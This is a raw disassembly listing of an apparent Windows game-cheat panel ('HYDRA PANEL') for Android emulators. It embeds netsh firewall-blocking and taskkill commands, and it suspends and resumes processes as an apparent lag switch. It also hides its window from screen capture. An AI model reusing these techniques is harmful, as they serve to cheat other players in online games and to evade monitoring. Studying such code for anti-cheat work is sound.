lea rax, str._HYDRA_PANEL
mov rdx, rbx
mov qword [rsp + 0x30], rax
mov rcx, rdi
lea rax, [rbp - 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
movups xmmword [rbp - 0x60], xmm0
call fcn.140026f80
lea rdi, str._HYDRA_PANEL
mov rbx, qword [0x14016b080]
cmp dword [rbx + 0x4870], r12d
jg 0x140041887
mov r8d, 0x6ff
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x4878]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400081a0
movss xmm1, dword [0x14016b754]
mov r10, rax
movss xmm0, dword [0x14016b750]
mov rcx, qword [0x14016b080]
movss dword [rbp + 0x264], xmm1
movss xmm1, dword [0x14016b75c]
movss dword [rbp + 0x260], xmm0
mulss xmm1, dword [rcx + 0x37e0]
lea rcx, [rbp + 0x260]
mov dword [rbp + 0x118], 0x43960000
movss xmm0, dword [0x14016b758]
movss dword [rbp + 0x268], xmm0
movss dword [rbp + 0x26c], xmm1
mov dword [rbp + 0x11c], 0x42340000
mov qword [rbp + 0x120], r12
call fcn.1400042a0
mov r9d, eax
mov dword [rsp + 0x28], Ordinal_50
lea rdx, [rbp + 0x120]
movss dword [rsp + 0x20], xmm9
lea r8, [rbp + 0x118]
mov rcx, r10
call fcn.140023310
mov rbx, qword [0x14016b080]
cmp dword [rbx + 0x4870], r12d
jg 0x14004196a
mov r8d, 0x6ff
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x4878]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400081a0
lea rcx, [rbp - 0x60]
mov dword [rbp - 0x70], 0x43960000
mov r10, rax
mov dword [rbp - 0x6c], 0x43d20000
movups xmmword [rbp - 0x60], xmm12
mov dword [rbp - 0x78], r12d
mov dword [rbp - 0x74], 0x42340000
call fcn.1400042a0
mov r9d, eax
mov dword [rsp + 0x28], 0xc0
lea rdx, [rbp - 0x78]
movss dword [rsp + 0x20], xmm9
lea r8, [rbp - 0x70]
mov rcx, r10
call fcn.140023310
mov rbx, qword [0x14016b080]
mov rax, qword [rbx + 0x3ea0]
movss xmm1, dword [rbx + 0x18]
addss xmm1, xmm1
movss xmm6, dword [rax + 0x18]
movss xmm7, dword [rax + 0x1c]
addss xmm1, dword [0x14016bb0c]
comiss xmm8, xmm1
jbe 0x140041a03
movaps xmm0, xmm8
jmp 0x140041a0f
movss xmm0, dword [0x14014a160]
minss xmm0, xmm1
mulss xmm0, dword [rbx + 0x37e0]
movss dword [0x14016bb0c], xmm0
cmp dword [rbx + 0x4870], r12d
jg 0x140041a42
mov r8d, 0x6ff
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x4878]
lea r8, str.Foreground
mov rdx, r13
mov rcx, qword [rax]
call fcn.1400081a0
mov rcx, qword gs:[0x58]
mov rbx, rax
addss xmm6, dword [0x14014a238]
addss xmm7, dword [0x14014a240]
mov eax, 4
mov rdx, qword [rcx]
movss dword [rsp + 0x68], xmm6
movups xmm6, xmmword [0x14016b980]
mov ecx, dword [rax + rdx]
cmp dword [0x14016bb08], ecx
movss dword [rsp + 0x6c], xmm7
jle 0x140041acd
lea rcx, [0x14016bb08]
call fcn.14010d69c
cmp dword [0x14016bb08], 0xffffffff
jne 0x140041acd
movdqa xmm0, xmmword [0x14014a5f0]
lea rcx, [0x14016bb08]
movups xmmword [0x14016bb10], xmm0
call fcn.14010d630
mov rax, qword [0x14016b080]
test rax, rax
jne 0x140041afa
mov r8d, 0xfd8
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x14016b080]
movss xmm3, dword [0x14014a1c8]
lea rdx, [rsp + 0x68]
movss xmm2, dword [rax + 0x18]
movaps xmm0, xmm3
mulss xmm2, dword [0x14014a190]
mov rcx, rbx
mov dword [rsp + Ordinal_45], 0x28
subss xmm0, dword [0x14016b68c]
movss dword [rsp + 0x20], xmm3
movaps xmm3, xmm8
mov dword [rbx + 0x78], r12d
mulss xmm2, xmm0
addss xmm2, dword [0x14016b68c]
movss dword [0x14016b68c], xmm2
movss xmm2, dword [0x14014a220]
call fcn.1400225d0
movss xmm1, dword [0x14016bb14]
lea rcx, [rbp + 0x270]
movss xmm0, dword [0x14016bb10]
mov rax, qword [0x14016b080]
movss dword [rbp + 0x274], xmm1
movss xmm1, dword [0x14016bb1c]
movss dword [rbp + 0x270], xmm0
mulss xmm1, dword [rax + 0x37e0]
movss xmm0, dword [0x14016bb18]
movss dword [rbp + 0x278], xmm0
movss dword [rbp + 0x27c], xmm1
call fcn.1400042a0
movss xmm0, dword [0x14014a1d0]
mov r9d, eax
mov r8d, dword [rbx + 0x78]
mov rcx, rbx
mov rdx, qword [rbx + 0x80]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], r12d
call fcn.140020dc0
movss xmm3, dword [0x14016b68c]
lea rdx, [rsp + 0x68]
movss xmm2, dword [0x14014a220]
movaps xmm0, xmm3
addss xmm0, dword [0x14014a1c0]
addss xmm3, dword [0x14014a1a4]
mov dword [rsp + Ordinal_45], 0x28
mov rcx, rbx
mov dword [rbx + 0x78], r12d
movss dword [rsp + 0x20], xmm0
call fcn.1400225d0
mov rax, qword [0x14016b080]
lea rcx, [rbp - 0x40]
movaps xmm0, xmm6
movss dword [rbp - 0x40], xmm6
movaps xmm1, xmm6
shufps xmm0, xmm6, 0x55
shufps xmm1, xmm6, 0xaa
shufps xmm6, xmm6, 0xff
mulss xmm6, dword [rax + 0x37e0]
movss dword [rbp - 0x3c], xmm0
movss dword [rbp - 0x38], xmm1
movss dword [rbp - 0x34], xmm6
call fcn.1400042a0
movss xmm0, dword [0x14014a1d0]
mov r9d, eax
mov r8d, dword [rbx + 0x78]
mov rcx, rbx
mov rdx, qword [rbx + 0x80]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], r12d
call fcn.140020dc0
movss xmm0, dword [0x14016b68c]
comiss xmm0, dword [0x14014a1b4]
mov dword [rbx + 0x78], r12d
jb 0x140041ca2
mov dword [0x14016b68c], r12d
cmp byte [0x14016b112], r12b
je 0x140041d8d
cmp byte [0x14016b10c], r12b
je 0x140041d40
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock0__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock0__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock1__dirin_actionblock_profileany_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock1__dirout_actionblock_profileany_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock2__dirin_actionblock_profileany_program_C:Program_FilesBlueStacksHD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock2__dirout_actionblock_profileany_program_C:Program_FilesBlueStacksHD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock3__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_msi2Bluestacks.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock3__dirin_actionblock_profileany_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_TemporaryBlock3__dirout_actionblock_profileany_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.Internet_Block:_Enabled
jmp 0x140041d81
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:Program_FilesBlueStacks_nxtHD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:ProgramDataBlueStacks_msi5HD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:Program_FilesBlueStacksHD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program_C:Program_FilesBlueStacks_msi2HD_Player.exe_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8d, Ordinal_27
lea rdx, str.Internet_Block:_Disabled
lea rcx, [0x14016a258]
call fcn.140034e30
cmp byte [0x14016b09e], r12b
je 0x140041df0
lea rcx, str.taskkill__f__im_HD_Player.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_MEmuHeadless.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_LdVBoxHeadless.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_AndroidProcess.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_Nox.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8d, Ordinal_27
lea rdx, str.Destruct_emulator_:_Done_
lea rcx, [0x14016a258]
call fcn.140034e30
cmp byte [0x14016b113], r12b
je 0x140041eca
mov r8d, dword [0x14016b630]
xor edx, edx
cmp byte [0x14016b10d], r12b
mov ecx, 0xc00
je 0x140041e6a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140041e5b
cmp byte [0x14016b07d], r12b
mov rcx, rax
jne 0x140041e41
call qword [sym.imp.ntdll.dll_NtSuspendProcess]
test eax, eax
jne 0x140041e52
mov byte [0x14016b07d], r13b
jmp 0x140041e52
call qword [sym.imp.ntdll.dll_NtResumeProcess]
test eax, eax
jne 0x140041e52
mov byte [0x14016b07d], r12b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.Process_:_Paused
jmp 0x140041ebe
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140041eb1
cmp byte [0x14016b07d], r12b
mov rcx, rax
jne 0x140041e97
call qword [sym.imp.ntdll.dll_NtSuspendProcess]
test eax, eax
jne 0x140041ea8
mov byte [0x14016b07d], r13b
jmp 0x140041ea8
call qword [sym.imp.ntdll.dll_NtResumeProcess]
test eax, eax
jne 0x140041ea8
mov byte [0x14016b07d], r12b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str.Process_:_Resumed
lea rcx, [0x14016a258]
call fcn.140034e30
cmp byte [0x14016b10e], r12b
je 0x140041eda
mov byte [0x14016b664], r13b
cmp byte [0x14016b09a], r12b
je 0x140041ef3
cmp byte [0x14016b100], r12b
je 0x140041ef3
mov byte [0x14016b1be], r13b
cmp byte [0x14016b07c], r12b
je 0x140041f0c
cmp byte [0x14016b0e5], r12b
je 0x140041f0c
mov byte [0x14016b1b8], r13b
cmp byte [0x14016b07f], r12b
je 0x140041f25
cmp byte [0x14016b0e7], r12b
je 0x140041f25
mov byte [0x14016b635], r13b
cmp byte [0x14016b0e2], r12b
je 0x140041f3e
cmp byte [0x14016b107], r12b
je 0x140041f3e
mov byte [0x14016b1ba], r13b
cmp byte [0x14016b079], r12b
je 0x140041f57
cmp byte [0x14016b0e4], r12b
je 0x140041f57
mov byte [0x14016b661], r13b
cmp byte [0x14016b09c], r12b
je 0x140041f70
cmp byte [0x14016b102], r12b
je 0x140041f70
mov byte [0x14016b1bd], r13b
cmp byte [0x14016b0e1], r12b
je 0x140041f89
cmp byte [0x14016b106], r12b
je 0x140041f89
mov byte [0x14016b663], r13b
cmp byte [0x14016b10f], r12b
je 0x140041fa2
cmp byte [0x14016b109], r12b
je 0x140041fa2
mov byte [0x14016b1bb], r13b
cmp byte [0x14016b09f], r12b
je 0x140041fbb
cmp byte [0x14016b105], r12b
je 0x140041fbb
mov byte [0x14016b665], r13b
cmp byte [0x14016b0e3], r12b
je 0x140041fd4
cmp byte [0x14016b108], r12b
je 0x140041fd4
mov byte [0x14016b1bf], r13b
cmp byte [0x14016b098], r12b
je 0x140041fe4
mov byte [0x14016b662], r13b
cmp byte [0x14016b09b], r12b
je 0x140041ffd
cmp byte [0x14016b101], r12b
je 0x140041ffd
mov byte [0x14016b1bc], r13b
cmp byte [0x14016b110], r12b
je 0x140042016
cmp byte [0x14016b10a], r12b
je 0x140042016
mov byte [0x14016b636], r13b
cmp byte [0x14016b111], r12b
je 0x14004210d
cmp byte [0x14016b10b], r12b
je 0x14004209b
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
mov edx, reloc.WS2_32.dll_recvfrom
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
xor ecx, ecx
mov qword [rsp + 0x70], r12
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rsp + 0x70]
mov r8d, r13d
lea r9, [0x140111fa0]
mov qword [rsp + 0x20], rax
xor edx, edx
lea rcx, [0x140111fb0]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x140042107
mov rax, qword [rsp + 0x70]
mov rcx, qword [rax]
mov rbx, qword [rcx + 0x28]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, qword [rsp + 0x70]
mov rdx, rax
call rbx
mov rcx, qword [rsp + 0x70]
jmp 0x140042101
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
xor ecx, ecx
mov qword [rsp + 0x60], r12
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rsp + 0x60]
mov r8d, r13d
lea r9, [0x140111fa0]
mov qword [rsp + 0x20], rax
xor edx, edx
lea rcx, [0x140111fb0]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x140042107
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax]
mov rbx, qword [rcx + 0x20]
call qword [sym.imp.USER32.dll_GetActiveWindow]
mov rcx, qword [rsp + 0x60]
mov rdx, rax
call rbx
mov rcx, qword [rsp + 0x60]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [sym.imp.ole32.dll_CoUninitialize]
cmp byte [0x14016b07e], r12b
je 0x140042126
cmp byte [0x14016b0e6], r12b
je 0x140042126
mov byte [0x14016b634], r13b
cmp byte [0x14016b09d], r12b
je 0x14004213f
cmp byte [0x14016b103], r12b
je 0x14004213f
mov byte [0x14016b660], r13b
call fcn.14003ad20
call fcn.1400115c0
call fcn.14000b200
mov rcx, qword [0x14016b678]
lea r8, [0x14016b658]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0x60], xmm0
mov edx, r13d
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x14016b678]
lea r8, [rbp + 0x60]
mov rdx, qword [0x14016b658]
mov rax, qword [rcx]
call qword [rax + 0x190]
mov rbx, qword [0x14016b080]
cmp dword [rbx + 0x4870], r12d
jg 0x1400421b7
mov r8d, 0x6ff
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x4878]
mov rcx, qword [rax]
mov rax, r12
add rcx, 0x48
cmp byte [rcx], r12b
cmovne rax, rcx
mov rcx, rax
call fcn.140035dd0
mov rcx, qword [0x14016b668]
xor r8d, r8d
mov edx, r13d
mov rax, qword [rcx]
call qword [rax + 0x40]
jmp 0x140040339
mov rbx, qword [0x14016b080]
test rbx, rbx
je 0x140042209
mov rdi, qword [rbx + 0xa0]
test rdi, rdi
jne 0x14004222d
jmp 0x14004220c
mov rdi, r12
mov r8d, 0x241
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffff_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___No_renderer_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x14016b080]
test rbx, rbx
jne 0x140042253
mov r8d, 0xfd8
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x14016b080]
call fcn.140036d80
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x140042267
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi]
test rcx, rcx
je 0x140042275
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x140042284
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [0x14016b080]
mov qword [rbx + 0x90], r12
mov qword [rbx + 0xa0], r12
test rax, rax
je 0x1400422a4
dec dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [0x14016b080]
test rax, rax
je 0x1400422c7
mov rbx, qword [rax + 0x98]
test rbx, rbx
jne 0x1400422eb
jmp 0x1400422ca
mov rbx, r12
mov r8d, 0xa7
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffff_backendsimgui_impl_win32.cpp
lea rcx, str.bd___nullptr___No_platform_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x14016b080]
test rax, rax
jne 0x140042311
mov r8d, 0xfd8
lea rdx, str.D:DocumentsInnormal_cHEATS_pas__112233445566Streetfffffffffimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x14016b080]
mov rcx, qword [rbx + 0x30]
lea rdi, [rax + 8]
test rcx, rcx
je 0x14004232b
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [0x14016b080]
mov qword [rdi + 0x80], r12
mov qword [rdi + 0x90], r12
test rax, rax
je 0x140042344
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x14016b080]
mov qword [0x14016b080], rbx
call fcn.140006660
mov qword [0x14016b080], r12
test rbx, rbx
je 0x14004238f
mov rcx, rbx
call fcn.14001ee20
mov rax, qword [0x14016b080]
test rax, rax
je 0x140042386
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call fcn.1400424b0
mov rcx, qword [0x14016b0e8]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x2c8]
mov rcx, qword [rbp + 0x2f0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
movaps xmm14, xmmword [rsp + 0x780]
xor eax, eax
movaps xmm13, xmmword [rsp + 0x790]
movaps xmm12, xmmword [rsp + 0x7a0]
movaps xmm11, xmmword [rsp + 0x7b0]
movaps xmm10, xmmword [rsp + 0x7c0]
movaps xmm9, xmmword [rsp + 0x7d0]
movaps xmm8, xmmword [rsp + 0x7e0]
movaps xmm7, xmmword [rsp + 0x7f0]
movaps xmm6, xmmword [rsp + 0x800]
mov rsi, qword [rsp + 0x848]
mov r14, qword [rsp + 0x818]
movaps xmm15, xmmword [rsp + 0x770]
mov rdi, qword [rsp + 0x850]
mov r13, qword [rsp + 0x820]
mov rbx, qword [rsp + 0x840]
mov r15, qword [rsp + 0x810]
add rsp, 0x828
pop r12
pop rbp
ret
mov ecx, r13d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x148], r12d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.1400424b0
mov rdx, qword [rbp + 0x2c8]
mov rcx, qword [rbp + 0x2f0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r13d
jmp 0x14004241f